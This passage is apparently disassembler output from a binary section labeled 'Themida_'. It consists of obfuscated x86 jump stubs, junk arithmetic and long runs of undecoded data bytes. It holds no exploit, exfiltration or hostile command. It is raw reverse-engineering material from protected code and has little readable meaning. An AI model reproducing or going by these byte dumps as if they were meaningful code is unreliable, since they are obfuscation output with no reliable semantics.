		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51AB8F:				; CODE XREF: Themida_:0051F34Dj
		sub	ebp, 2B144D48h
		jmp	loc_51C9B0
; ---------------------------------------------------------------------------


loc_51AB9A:				; CODE XREF: Themida_:00514F8Dj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		push	5739h
		jmp	loc_523A94
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 1D4DE924h, 4FF0000h,	25E99C24h, 88FFFF36h, 8BEC88FDh
		dd 0E9240Ch
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51ABD7:				; CODE XREF: Themida_:005239F5j
		push	17952F49h
		jmp	loc_511CEF
; ---------------------------------------------------------------------------


loc_51ABE1:				; CODE XREF: Themida_:00515CC2j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_516DAB
; ---------------------------------------------------------------------------


loc_51ABEC:				; CODE XREF: Themida_:00513E2Aj
		mov	[esp], ebx
		jmp	loc_521DF9
; ---------------------------------------------------------------------------
		dd 60E9C701h, 89000046h, 0C6835DEEh, 0F5685001h, 5843555Ah
		dd 8158C631h, 437B63C6h, 19E94E7Eh, 50000002h, 688BE9h
		dd 4B900h, 4C010000h, 0B2E90424h, 89FFFF45h, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 0FF4055E9h, 685655FFh, 18AD2B49h
		dd 8124348Bh, 4C4h, 37E68100h, 0F7483832h, 5CE81DEh, 8110420Dh
		dd 306250C6h, 0E9F58920h, 2F0Ch
; ---------------------------------------------------------------------------


loc_51AC6C:				; CODE XREF: Themida_:0050F5E4j
		push	ebp
		mov	ebp, 3CAD0C82h
		sub	ebp, 57BE3B16h
		xor	ebp, 2F22125Ah
		xor	ebp, 25685BD2h
		inc	ebp
		shl	ebp, 6
		jmp	loc_518D22
; ---------------------------------------------------------------------------
		db 29h,	0F7h, 8Bh
		dd 0C4812434h, 4, 0E905EFC1h, 3CD6h, 0FF2434FFh, 515B2434h
		dd 0FF3A30E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51ACAD:				; CODE XREF: Themida_:0050F0C0j
		pop	ebp
		add	esp, 4
		jmp	loc_51D5F4
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 81h
		dd 0D790E0C7h, 5FFE89C6h, 0FE9E6D1h, 4BFFFF90h,	52FBBD55h
		dd 0C5811A24h, 9A2B3561h, 215DEB31h, 0EE815BDEh, 1, 5206EEC1h
		dd 1BAh, 4333E900h, 3C8BFFFFh, 4C48324h, 0EC815666h, 4
		dd 0FF762CE9h, 815E54FFh, 4C6h,	4C68100h, 56000000h, 42474FFh
		dd 0E924348Bh, 1D28h, 0F96BB5B8h, 58C58900h, 895DE829h
		dd 0BDE958C3h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51AD33:				; CODE XREF: Themida_:00510A69j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_519FB0
; ---------------------------------------------------------------------------
		db 66h,	8Fh, 2
		dd 0FF34A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51AD4D:				; CODE XREF: Themida_:0051D912j
		sub	bh, 50h
		jmp	loc_52362E
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF36BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51AD5D:				; CODE XREF: Themida_:0051360Ej
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	edx, [esp]
		jmp	loc_50F413
; ---------------------------------------------------------------------------
		db 66h,	89h, 0Ch
		dd 3472E924h, 0CD89FFFFh, 1948E9h
		db 0
; ---------------------------------------------------------------------------


loc_51AD85:				; CODE XREF: Themida_:0051B6BBj
		sub	edx, 19B00EBFh
		jmp	loc_5210D7
; ---------------------------------------------------------------------------
		dd 0E932FF66h, 0FFFFA5A8h, 0BF243C89h, 4, 875FF801h, 248B2404h
		dd 4A30F24h, 3DE99C24h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51ADB3:				; CODE XREF: Themida_:0051EEA4j
		sub	al, 0FFh
		xchg	al, ch
		and	ch, 15h
		sub	esp, 2
		mov	[esp], ax
		jmp	loc_51D8E4
; ---------------------------------------------------------------------------
		dw 34FFh
aYrhx		db '$YRhx',27h,0
		align 10h
		dd 24048F54h, 0B3668h, 242C8900h, 8904EC83h, 4B9240Ch
		dd 0E9000000h, 0FFFFFF92h, 4BAh, 0E9D00100h, 36BAh
; ---------------------------------------------------------------------------


loc_51ADF8:				; CODE XREF: Themida_:00510699j
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_51FE59
; ---------------------------------------------------------------------------
		dw 0BE2Dh
		dd 2D45FB21h, 3E7E3EE7h, 0EA4FE735h, 0E9C10166h, 15AEh
		dd 0A4B5F681h, 0F101C6DBh, 5E2434FFh, 3304C483h, 0C31240Ch
		dd 240C3324h, 0E924248Bh, 0FFFFEA5Dh, 0F0685658h, 89000068h
		dd 0B850242Ch, 61CC6B4Dh, 2414F750h, 78C80558h,	28E966FAh
		dd 80000082h, 0EA2832EDh, 50240C8Bh, 405E089h, 5000000h
		dd 4, 5C240487h, 0F280DAF6h, 8BD030EEh,	0E9562414h, 3337h
		dd 0F281D2F7h, 0FD90BAABh, 535AD589h, 4C1076BBh, 8BDD291Ah
		dd 0C481241Ch, 4, 0E08E9h, 805A6600h, 885065F7h, 0E58851FCh
		dd 5859EA88h, 4C82C5Bh,	2CD02878h, 0B356E978h, 0E981FFFFh
		dd 4, 5C240C87h, 89243489h, 4BD55E6h, 1000000h,	81505DEEh
		dd 4ECh, 24148900h, 0FF388EE9h,	33B551FFh, 0CDFEC5FEh
		dd 28DFF580h, 0B9E959E8h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51AF0F:				; CODE XREF: Themida_:00515469j
		push	edi
		jmp	loc_522111
; ---------------------------------------------------------------------------
		db 5Ah,	5Bh, 5
		dd 2B58062Ah, 838B22Dh,	0BD62E92Bh, 0ED81FFFFh,	7C1D24DEh
		dd 8B5DEE31h, 98E92414h, 0B700003Ah, 0B3B55148h, 0E902E5C0h
		dd 8BABh
; ---------------------------------------------------------------------------


loc_51AF44:				; CODE XREF: Themida_:00519B6Aj
		mov	esi, 4
		push	eax
		mov	eax, esi
		mov	edi, eax
		pop	eax
		jmp	loc_51D381
; ---------------------------------------------------------------------------
		dd 8B240C33h, 8B662424h, 49682404h, 8900001Dh, 0E0892404h
		dd 2D53E9h, 0FEBA5200h,	4A7AD062h, 8107E2C1h, 9932C5E2h
		dd 77F28165h, 812AA469h, 627784EBh, 81D32933h, 627784C3h
		dd 24148B33h, 104C483h,	2434FFD9h, 0FFDBD5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51AFA1:				; CODE XREF: Themida_:00513CA7j
		mov	ebx, esi
		mov	esi, [esp]
		jmp	loc_51067C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8904EC83h, 0E0892404h, 405h,	4C08300h, 5C240487h, 8B243487h
		dd 34FF2424h, 2434FF24h, 4C48158h, 68000000h, 4A87h, 8303E9h
		db 0
; ---------------------------------------------------------------------------


loc_51AFDD:				; CODE XREF: Themida_:0051D808j
		add	edi, 4CF62D70h
		xor	edi, 0B8F1A485h
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, 1EF341C9h
		add	eax, ebx
		add	eax, 1EF341C9h
		jmp	loc_50FCF3
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 5AAE6058h, 4658C689h, 0F681DEF7h, 0D9DCBF98h, 3DE9F329h
		dd 81000074h, 9D2AD4C2h, 24348B61h, 5204C483h, 0C281E289h
		dd 4, 0FF8D0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51B035:				; CODE XREF: Themida_:005225D0j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_513063
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0D7h
		dd 1454549h, 0D7C381C3h, 55454549h, 480485BDh, 0C1EDD11Ch
		dd 15E904EDh, 83000010h, 0BD5504C4h, 3C666775h,	4426F581h
		dd 76E95A5Ah
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51B07B:				; CODE XREF: Themida_:005155DEj
		xor	edi, edx
		pop	edx
		xor	edi, 497CC8A4h
		sub	ecx, 81F2485h
		add	ecx, edi
		jmp	loc_513592
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 87h
aQgb		db 'G',0
		dw 20C8h
		dd 404FEA81h, 0EA811808h, 603549D9h, 0E955FA01h, 0FFFF3E62h
		dd 3304C783h, 3C31243Ch, 243C3324h, 8124248Bh, 4C1h, 37BE5600h
		dd 816A3506h, 0CAF9CBC6h, 57C18195h, 291E6244h,	57E981F1h
		dd 0FF1E6244h, 0E95E2434h, 7AB8h
; ---------------------------------------------------------------------------


loc_51B0E8:				; CODE XREF: Themida_:0052156Ej
		add	ebp, eax
		add	ebp, 6D71066Ah
		pop	eax
		neg	ebp
		push	edx
		mov	edx, 539D7B99h
		jmp	loc_523A57
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFEB38h
; ---------------------------------------------------------------------------


loc_51B104:				; CODE XREF: Themida_:00517C13j
		dec	eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		xor	eax, 60743B92h
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 2F655FB0h
		add	ebp, esi
		pop	esi
		add	esi, ebp
		pop	ebp
		jmp	loc_5114CD
; ---------------------------------------------------------------------------


loc_51B12B:				; CODE XREF: Themida_:00512E4Aj
		push	esi
		jmp	loc_521878
; ---------------------------------------------------------------------------
		db 1, 0F0h, 0E9h
		dd 758Ah, 7CDB68h, 243C8900h, 955FFFBFh, 4EC817Bh, 0E9000000h
		dd 7E86h, 2C5AE950h, 8F5C0000h,	248B2404h, 24148924h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 29521878h
		shr	ecx, 2
		and	ecx, 7FC4168Bh
		inc	ecx
		or	ecx, 598A7BB1h
		sub	ecx, 5EDD262Dh
		xor	ecx, 0FCF1598Ah
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5147E4
; ---------------------------------------------------------------------------


loc_51B197:				; CODE XREF: Themida_:00511953j
		push	6920h
		mov	[esp], ebp
		mov	ebp, 7FE1294Ch
		jmp	loc_50F00B
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 65E90000h, 51FFFF3Dh, 0EAFA5EB9h, 59CF3130h,	0FF3246E9h
		dd 5AD609FFh, 3D14EE81h, 0F7014B2Eh, 81F7015Eh,	0AF41EBEFh
		dd 0CF815E04h, 704C1580h, 0B7EDF781h, 0FB01F44Ch, 81243C8Bh
		dd 4C4h, 4EC8100h, 89000000h, 2EE92404h, 8100003Dh, 0AD214DEFh
		dd 81DFF73Fh, 4ECh, 240C8900h, 8904EC83h, 75682404h, 8B00446Fh
		dd 0E9522404h, 7F21h, 4A5BDA01h, 0E903EAC1h, 3E58h
; ---------------------------------------------------------------------------


loc_51B22C:				; CODE XREF: Themida_:005149DAj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------
		dd 8B24248Bh, 27E9240Ch, 80000009h, 0ED80CFCDh,	84CE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51B24E:				; CODE XREF: Themida_:0050FE9Fj
		mov	[esp], ebx
		jmp	loc_51EFE3
; ---------------------------------------------------------------------------
		dw 0E630h
		dd 0E630F430h, 6602EC83h, 88240C89h, 88D5F6E5h,	0EF3E9ECh
		dd 0EB000000h, 5166EB80h, 0EB2836B5h, 0C3005959h, 5E08950h
		dd 4, 0FFE1CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51B289:				; CODE XREF: Themida_:0051EB21j
		push	edi
		mov	edi, 23080D01h
		mov	ecx, 77CC5D9Bh
		xor	ecx, edi
		jmp	loc_51B5A4
; ---------------------------------------------------------------------------
		db 81h
		dd 8144A2E7h, 29BE5608h, 461EC420h, 8106E6C1h, 0D5300DF6h
		dd 99C68150h, 311EA409h, 0AF4EE9F7h, 24BDFFFFh,	1000000h
		dd 2434FFEEh, 5D2434FFh, 4C481h, 0CF680000h, 89000031h
		dd 0EB68243Ch, 0E900005Ch, 0FFFFE5B9h, 24048F58h, 4C6815Ch
		dd 50000000h, 0BFE9E089h, 89FFFF5Fh, 0E954243Ch, 0FFFFA3D5h
; ---------------------------------------------------------------------------


loc_51B300:				; CODE XREF: Themida_:0051E93Ej
		mul	cx
		jmp	loc_515506
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFBEEAh
; ---------------------------------------------------------------------------


loc_51B310:				; CODE XREF: Themida_:00514896j
		and	eax, edi
		mov	edi, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_50F117
; ---------------------------------------------------------------------------
		dd 4E2DD829h, 52659F6Ch, 2457EABAh, 7EAC13Ah, 47BCF281h
		dd 0D0014201h, 97BF575Ah, 0F7281A30h, 0B95155DFh, 47424EB4h
		dd 423005BDh, 54CD812Fh, 0F76D5278h, 4E5C1D5h, 0E904EDC1h
		dd 3062h
; ---------------------------------------------------------------------------


loc_51B36C:				; CODE XREF: Themida_:00513F57j
		pop	ecx
		add	edi, 4
		jmp	loc_519766
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_52215E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 2BF5704h, 0E9000000h, 0FFFF80CFh, 1552BF57h
		dd 0FA095BF6h, 83243C8Bh, 0C28104C4h, 0A000E8A9h, 49BE5652h
		dd 46710119h, 28C7E9h, 13D2BE00h, 0CE8152B0h, 31A8214Ah
		dd 713BC681h, 0C6815FA8h, 25C2376Eh, 250FE681h,	0F68152F5h
		dd 10A80129h, 0E95EF289h, 7103h
; ---------------------------------------------------------------------------


loc_51B3EC:				; CODE XREF: Themida_:00518B71j
		pop	eax
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_51D23B
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C5h
		dd 0DDEAE9C7h, 15DEF89h, 2434FFF8h, 0E689565Fh,	4C681h
		dd 0C6810000h, 4, 8B243487h, 6E682424h,	0E9000065h, 31CEh
		dd 4ED0C59h, 8C686697h,	1C89663Ah, 8064B724h, 8FE90FF7h
		dd 29FFFFABh, 0B26E9EBh, 0F8B90000h, 0BB4BCA7Fh, 7A2B90E3h
		dd 0E959CB29h, 0FFFFC0C7h, 459CF00h, 2CF800ABh,	8B665BABh
		dd 0C481240Ch, 2, 64F68h, 24048900h, 0E953E089h, 0FFFF570Ah
		dd 0E9E28952h, 0FFFFCAD5h, 5A66F028h, 53D8285Bh, 0EF8048B7h
		dd 0B6526601h, 0E9525056h, 0FFFFE58Dh
; ---------------------------------------------------------------------------


loc_51B4A0:				; CODE XREF: Themida_:00513D83j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	12Ah
		mov	[esp], edi
		mov	edi, 4F0F57CFh
		and	edi, 2C457342h
		shr	edi, 6
		sub	edi, 67CD6FB4h
		jmp	loc_5141A4
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E92434FFh, 3884h, 0B8240489h, 7A965384h,	61C5BA52h
		dd 0BB537ED5h, 123E0222h, 0C381D3F7h, 350640F7h, 7F80E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51B506:				; CODE XREF: Themida_:00520F9Bj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 3A09006Eh
		add	esi, ebp
		jmp	loc_520819
; ---------------------------------------------------------------------------
		dd 4C481h, 2D660000h, 29666446h, 460566F8h, 0F7BCE964h
		dd 0EC83FFFFh, 243C8904h, 89601EBFh, 0AA63E934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B546:				; CODE XREF: Themida_:0051A6D2j
		push	dword ptr [esp]
		pop	ecx
		push	1AF3h
		mov	[esp], eax
		jmp	loc_5111D1
; ---------------------------------------------------------------------------
		db 0Ch
		dd 1A168F9h, 0C890000h,	8092B524h, 0CD80ACE5h, 3EDC077h
		dd 0E90DCD80h, 0FFFF9DD1h
; ---------------------------------------------------------------------------


loc_51B574:				; CODE XREF: Themida_:00518EA4j
		and	edi, 3E0766C6h
		add	edi, 0FFFFFFFFh
		jmp	loc_514A27
; ---------------------------------------------------------------------------
		dw 0C33h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		push	ebp
		jmp	loc_518B3E
; ---------------------------------------------------------------------------


loc_51B5A4:				; CODE XREF: Themida_:0051B296j
		pop	edi
		shr	ecx, 7
		shr	ecx, 5
		shl	ecx, 8
		or	ecx, 50877EBh
		push	edx
		jmp	loc_515C3A
; ---------------------------------------------------------------------------
aUsbf		db 'UF',0
		align 10h
		dd 6F3CE981h, 0EB817A7Dh, 579927DEh, 0C381CB01h, 579927DEh
		dd 83240C8Bh, 0C38104C4h, 7C8D203Fh, 544CC381h,	0D5E90DE7h
		dd 5CFFFFE6h, 2B4EE9h, 0C8B6600h, 30E95524h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51B5FB:				; CODE XREF: Themida_:005132FAj
		mov	ebx, 4
		jmp	loc_51BDCC
; ---------------------------------------------------------------------------
aSf4		db ' f4',0
		align 4
		dd 0E9535F54h, 0FFFFEDDEh, 4C181h, 0C870000h, 24248B24h
		dd 0FF9364E9h, 81D7F7FFh, 4A3AA9C7h, 8890E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B632:				; CODE XREF: Themida_:0051057Bj
		push	ebp
		jmp	loc_51E0C9
; ---------------------------------------------------------------------------


loc_51B638:				; CODE XREF: Themida_:0051AB39j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	ecx
		push	esi
		mov	esi, 9FF2897h
		mov	ecx, esi
		pop	esi
		jmp	loc_50F1EB
; ---------------------------------------------------------------------------
a1Sgi		db '[1I',0
		align 4
		dd 3284C7BEh, 97C68197h, 816BC842h, 9650F0C6h, 81EE2971h
		dd 9650F0EEh, 97EE8171h, 5D6BC842h, 7185C681h, 0F68176C9h
		dd 76ED316Bh, 0BA76F681h, 3FE9C60Ch, 0E9FFFFB8h, 0FFFF2B50h
		dd 52505166h, 0F5E9DE88h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B6AB:				; CODE XREF: Themida_:0051F6DDj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6E1431F8h
		not	edx
		jmp	loc_51AD85
; ---------------------------------------------------------------------------
		dd 4EE81h, 34870000h, 0C895C24h, 42F5B924h, 0C98158EDh
		dd 31850CFBh, 6E56E981h, 89573CD7h, 4C781E7h, 83000000h
		dd 3C8704EFh, 1C895C24h, 764BBB24h, 0EB8128B2h,	9160DB5h
		dd 1C8BD901h, 68E2E924h, 0C481FFFFh, 4,	8FE9F029h, 1FFFF8Fh
		dd 4A3268C3h, 34890000h, 58E86824h, 0C890000h, 41FBB924h
		dd 0C1816CD6h, 1242360Bh, 0F6E9CE89h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B737:				; CODE XREF: Themida_:0051A9B7j
		sub	eax, 5BFB2BA6h
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_523746
; ---------------------------------------------------------------------------
		dd 24048F59h, 0EC47E95Ch, 0E95DFFFFh, 0FFFF6AACh, 198268h
		dd 241C8900h, 241C8B5Fh, 4C481h, 0BD550000h, 54746575h
		dd 0FF48DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51B775:				; CODE XREF: Themida_:00515F2Bj
		pop	esp
		mov	[esp], esi
		push	7CC8723Ch
		pop	esi
		push	12E7h
		mov	[esp], ebp
		push	esi
		add	dword ptr [esp], 38995B64h
		push	dword ptr [esp]
		jmp	loc_515ADA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 31E9240Ch
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B79F:				; CODE XREF: Themida_:0050FCF4j
		pop	ebx
		add	esi, 0E3D243Ah
		add	esi, eax
		sub	esi, 0E3D243Ah
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_5104EC
; ---------------------------------------------------------------------------
		dd 4BDh, 5DEE0100h, 0FFB910E9h,	42966FFh, 21E99C24h
		db 2Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B7CF:				; CODE XREF: Themida_:0050F497j
		mov	[esp], ecx
		mov	ecx, 73858CEh
		push	edi
		push	eax
		jmp	loc_5206C1
; ---------------------------------------------------------------------------
		dw 0FF5Ch
		dd 34FF2434h, 0DEE7E924h, 0D101FFFFh, 0FFD4C0E9h, 0BDE95FFFh
		dd 1FFFFE1h, 0D4EE81CEh, 815F9E63h, 0C04C84EEh,	240C8B6Bh
		dd 6804C483h, 3270h, 0BD242C89h, 2, 2C8BEE01h, 58F7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B822:				; CODE XREF: Themida_:00517E32j
		mov	esi, [esp]
		push	ebp
		jmp	loc_519871
; ---------------------------------------------------------------------------


loc_51B82B:				; CODE XREF: Themida_:00510278j
		xchg	ebx, ebp
		push	eax
		jmp	loc_517E2C
; ---------------------------------------------------------------------------
		dd offset dword_450050+21618h
		align 4
		dd 83240C89h, 3C8904ECh, 13976824h, 0B1E951AAh,	89000073h
		dd 0C6295BD8h, 8124048Bh, 4C4h,	0C9BF5700h, 927865Eh, 0D6F75FFEh
		dd 6000C681h, 0F029E7DFh, 2404875Eh, 241C895Ch,	18468h
		dd 24048900h, 0E788D488h, 582434FFh, 0E904C483h, 576h
		dd 0F93242BAh, 0E9D7016Eh, 0FFFF792Ch
; ---------------------------------------------------------------------------


loc_51B898:				; CODE XREF: Themida_:005177BFj
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		sub	ecx, 603E2C1Bh
		add	ecx, ebp
		add	ecx, 603E2C1Bh
		pop	ebp
		jmp	loc_50F8BC
; ---------------------------------------------------------------------------


loc_51B8B4:				; CODE XREF: Themida_:0051FED2j
		mov	[esp], edx
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_51360C
; ---------------------------------------------------------------------------
		db 5Bh,	55h, 0E9h
		dd 0FFFFB570h
; ---------------------------------------------------------------------------


loc_51B8C8:				; CODE XREF: Themida_:0051FF77j
		mov	[esp], esi
		jmp	loc_51E060
; ---------------------------------------------------------------------------
		dd 5C243433h, 0E9E78957h, 0FECh, 4C381h, 0C3830000h, 246DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51B8EA:				; CODE XREF: Themida_:00517603j
		xor	edx, 70774A48h
		neg	edx
		sub	edx, 0ED72CEAFh
		jmp	loc_51D75B
; ---------------------------------------------------------------------------
		db 0B4h, 92h, 0
		dd 2AC5E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B906:				; CODE XREF: Themida_:0051C2DAj
		add	esp, 4
		add	esp, 4
		add	ebp, 4
		jmp	loc_520966
; ---------------------------------------------------------------------------


loc_51B91A:				; CODE XREF: Themida_:0051D77Cj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_511162
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704C4h, 24248B24h, 0B1240C89h, 2EC8360h, 241C8966h
		dd 59E9FFB7h, 66FFFF5Dh, 0E9F30058h, 0FFFFA041h, 81595451h
		dd 4C1h, 4BD5500h, 29000000h, 0C875DE9h, 24248B24h, 68242C89h
		dd 74150CF9h, 174FE95Dh, 0EB800000h, 0C0B60FD8h, 24148B66h
		dd 2BC168h, 240C8900h, 530468h,	24248900h, 85E95753h, 68FFFFB4h
		dd 22DDh, 0BF243C89h, 6270322Ch, 35C6E9h, 59EA8800h, 0E904EAC0h
		dd 68EFh, 8104C483h, 4C5h, 4B95100h, 81000000h,	0D1712FC5h
		dd 0D1ED8100h, 1771D42h, 0D1C581CDh, 0E9771D42h, 0FFFFD961h
		dd 0F708EEC1h, 3EBAE9DEh, 0EC830000h, 4974E904h, 0DFF70000h
		dd 0E3EFF781h, 0BD55FFDFh, 79A94801h, 0ED81DDF7h, 464E1260h
		dd 0BF06F581h, 0C28119E2h, 11A536A1h, 0EA81EA29h, 11A536A1h
		dd 0FFE36BE9h, 515E54FFh, 5450A6B9h, 4CC18155h,	5643F25Eh
		dd 0FF499CE9h, 8BEE01FFh, 0C483242Ch, 0F8BB5304h, 8147A728h
		dd 8C363EEBh, 55DBF757h, 5729A6BDh, 0E9EB094Eh,	0FFFF8B0Fh
; ---------------------------------------------------------------------------


loc_51BA58:				; CODE XREF: Themida_:00519E2Ej
		sub	eax, 803EF874h
		add	ebx, eax
		jmp	loc_5101C7
; ---------------------------------------------------------------------------
		dd 683C77FFh, 3CA6h, 52241C89h,	0DA5A1DBAh, 7E94229h, 89000038h
		dd 0EABE2434h, 0E932351Bh, 0FFFF8059h, 0F75DE829h, 2CB951D0h
		dd 97CDE2Fh, 0CB5BE9C8h, 0E800FFFFh, 592434FFh,	6604C483h
		dd 5024148Bh, 405E089h,	83000000h, 48702C0h, 9F685C24h
		dd 89000007h, 11B7241Ch, 800DE780h, 0EF8087CFh,	8BB15101h
		dd 0F607E1C0h, 0B75366D1h, 66F920ECh, 262E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51BADE:				; CODE XREF: Themida_:00511778j
		inc	ebp
		jmp	loc_51372B
; ---------------------------------------------------------------------------


loc_51BAE4:				; CODE XREF: Themida_:00510F92j
		pop	edx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	edx
		not	ah
		jmp	loc_5158CE
; ---------------------------------------------------------------------------


loc_51BB00:				; CODE XREF: Themida_:005231B8j
		push	edi
		mov	edi, 4
		mov	ebx, edi
		pop	edi
		add	esi, 0FA5778Fh
		add	esi, ebx
		sub	esi, 0FA5778Fh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_51FBE0
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 0C1E92404h
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51BB2F:				; CODE XREF: Themida_:0051255Ej
		pop	ebp
		add	esp, 4
		push	5483h
		mov	[esp], esi
		push	ebx
		mov	ebx, 64896CF3h
		mov	esi, ebx
		pop	ebx
		dec	esi
		jmp	loc_511FF4
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0D5B6E924h, 8CB8FFFFh, 6834941Ch, 34941C8Dh,	0FF5DB1E9h
		dd 2434FFFFh, 3808E959h, 0EC810000h, 4,	0FFA050E9h, 0E28952FFh
		dd 4C281h, 0C2810000h, 4, 5C241487h, 0C581D5F7h, 959812E0h
		dd 33B2E9h, 2434FF00h, 0E6895659h, 0FC16E955h, 5455FFFFh
		dd 6C29E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51BBAA:				; CODE XREF: Themida_:005205CAj
		dec	ecx
		and	ecx, 738F3F0Dh
		jmp	loc_514859
; ---------------------------------------------------------------------------
		dw 468h
		dd 58000000h, 8358C101h, 0C8704E9h, 4BE95C24h, 8BFFFF56h
		dd 8956240Ch, 4C681E6h,	0E9000000h, 1FCEh
; ---------------------------------------------------------------------------


loc_51BBDC:				; CODE XREF: Themida_:0051351Bj
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_510CF2
; ---------------------------------------------------------------------------


loc_51BBE6:				; CODE XREF: Themida_:0051C57Bj
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_51BBED:				; CODE XREF: Themida_:005100FAj
					; Themida_:00511004j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ebx
		push	edi
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_514A5B
; ---------------------------------------------------------------------------
		db 93h,	68h, 5Dh
		dd 89000014h, 74B9240Ch, 0F7189672h, 71F181D9h,	8134272Fh
		dd 1A661DE9h, 59CB097Ch, 4325CB81h, 0F381452Ch,	0A6BC9731h
		dd 0FFE18EE9h, 2FDEBDFFh, 41E94617h, 89FFFFFEh,	0E2892414h
		dd 4C281h, 0DBE90000h, 66000027h, 9C240431h, 61D8E9h, 0A9F38100h
		dd 214AA740h, 0CA815BDAh, 213A1CC5h, 0E951EA81h, 5FE9D537h
		dd 81FFFFE7h, 4C2h, 4C28100h, 0E9000000h, 6C04h
; ---------------------------------------------------------------------------


